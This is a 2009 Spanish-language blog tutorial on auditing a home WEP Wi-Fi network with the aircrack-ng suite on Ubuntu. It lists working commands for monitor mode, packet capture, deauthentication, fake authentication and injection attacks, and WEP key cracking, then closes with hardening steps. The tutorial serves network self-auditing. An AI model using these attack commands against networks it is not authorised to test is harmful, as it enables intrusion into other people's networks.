lunes, 2 de marzo de 2009

Auditoria wireless ubuntu 8.10 y atheros 5212

Por suerte o desgracia he tenido que hacer unas auditoría en una red wireless después de haberla montado, cosas de la familia, he tenido que hacer la auditoría ya que no se fiaban de hacerlo sin cables y comprobar la fiabilidad de la red.
Desde aquí todo bien pero he tenido que buscarme las habichuelas para auditar la red, así que me ha tocado buscarme la vida con lo que tenia a mano, mi portátil, yo y la red.
Por suerte para mí, el portátil utiliza atheros 5212. Tiene una gran facilidad de instalación en Ubuntu, desde la 7.10 que es la primera que instale en este portátil y que no me ha dado problemas por ahora, se instalan solos.
Solo he tenido que instalar un paquete extra en la instalación para manejar y configurar con facilidad la red. Este tipo de chip los madwifi, se pueden poner en modo monitor con facilidad y en algunos casos solo necesita un parche para hacerlo funcionar.
Este paquete extra es madwifi-tools.

$sudo apt-get install madwifi-tools && aircrack-ng

Al principio leyendo en algunos foros intente poner en modo monitor a la antigua (1) pero desde la versión 0.9 la forma de hacerlo ha cambiado y me dio error, entonces estuve buscando ayudas con fechas mas recientes y todos comentaban lo mismo, puedo crear una nueva interfaz ath1 en modo monitor y dejar ath0, pero sin poder usarla para conectarme ya que las dos interfaces aunque diferentes en el modo, usan una misma tarjeta física, así que tuve que cambiar de estrategia.

$sudo airmon-ng start ath0 (1)

Es mas fácil crear ath0 en modo monitor(2) y una vez terminada la auditoría destruirla y tener nuestra red funcionando sin tener que configurar nada mas, si decides matar la interfaz y crearla de nuevo no tengas apuro en hacerlo solo tendrás que teclear un poco mas con las ordenes que te doy abajo.

Para destruirla:

$sudo airmon-ng stop ath0

Para crearla en modo monitor.

$ sudo airmon-ng start wifi0 (wifi0 no es una equivocación es correcta la orden)(2)

Unos consejos, aunque hayas creado dos interfaces, no podrás usarlas a la vez, ya que solo tienes una tarjeta física. Hagas lo que hagas, una de las interfaces perjudicara a la otra, así que si vez posibilidad de conectarte con ath0 durante la auditoría, destruye ath0 y vuelve a crearla cuando termines.

 Para crearla si te equivocas y te quedas sin red, puede ocurrir teclea esto:

$ sudo wlanconfig ath0 create wlandev wifi0 wlanmode managed

Después de estas breves aclaraciones (si quieres saber mas recurre a los man). Recomiendo el paso a superusuario ya que repetiremos muchas veces algunas ordenes y sudo algunas veces llega ha ser cansado.
Así que usamos esta orden:

$sudo su (colocamos la terminal en modo superusuario)

Creamos una nueva interfaz en modo monitor

#airmon-ng start wifi0 9 (el numero indica en que canal queremos que escuche)
Pasa la orden iwconfig para ver si tenemos la tarjeta en modo monitor:
root@pepe-laptop:/home/pepe# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

pan0 no wireless extensions.

wifi0 no wireless extensions.

ath1 IEEE 802.11b ESSID:"" Nickname:""
Mode:Monitor Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=0 dBm Noise level=0 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Una vez comprobado que tenemos la interfaz en modo monitor ya podemos usarla para hacer la auditoría correspondiente.

Colocamos la interfaz a la escucha con airodump-ng

#airodump-ng ath1

Esto mostrara todas las redes cercanas, apunta los datos de la red que decidas auditar, necesitas la bssid, canal de emisión y su nombre para incluirla en la orden siguiente y poder aclararte a la hora de no liar churras con merinas. Después de esto cierra airodump-ng con Ctrl+c y vuelve ha abrirlo con los datos anteriormente recopilados.

#airodump-ng ath1 --bssid 00:00:00:00:00:00 --channel (X) -w (Nombre de la red o el que decidas)

Con airodump-ng ya escuchando en el canal adecuado solo tendremos que hacer unos ataques para hacer subir el numero de la columna DATA.

Los ataques los haremos con aireplay-ng y usaremos tres modos:

Desautentificación: Sirve cuando hay algún cliente conectado ( en las ultimas lineas de airodump-ng se muestran los clientes conectados), así los obligaremos a reconectarse con la consiguiente andanada de paquetes que nosotros nos encargaremos de recuperar con airodump-ng.

#aireplay-ng -0 10 ath1 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00

-0 tipo de ataque

10 numero de ataques

-a 00:00:00:00:00:00 mac ap atacada

-c 00:00:00:00:00:00 mac ap cliente

Si quieres saber mas ya sabes:

$man aireplay-ng

Autentificación falsa:Sino hubiese nadie conectado este ataque seria suficiente.

#aireplay-ng -1 10 ath1 -b 00:00:00:00:00:00


Inyección de paquetes: Esto es a las bravas.

#aireplay-ng -3 ath1 -b 00:00:00:00:00:00

Si decides parar alguna de las ordenes anteriores solo necesitas teclear Ctrl+c.

Una vez conseguido los suficientes paquetes para descodificar la clave WEP tendremos que usar aircrak-ng para conseguir la clave.

$aircrak-ng -z archivo.cap

Una vez terminado te mostrara la clave, sino pudiese, necesitas mas paquetes que recoger.

Después de esta auditoría, decidí que ocultar la bssid para Güindous, seria suficiente, pero con Linux solamente instalando kismet ya eres red detectada, así que me toco leer el manual del router y discrimine por MAC, la oculte y deje las ips fijas y las ip's  justas. Por lo menos de esta forma el que tuviese que entrar en la red no lo tendría tan fácil.
Hay formas de clonar las mac, pero al estar los rangos de las ip's fijas y solo las necesarias para poder conectarse, tiene que haber alguien desconectado que no es el caso, así que la conexión seria a la fuerza, con lo que me daría cuenta revisando los log necesarios y cambiaría de clave gradualmente.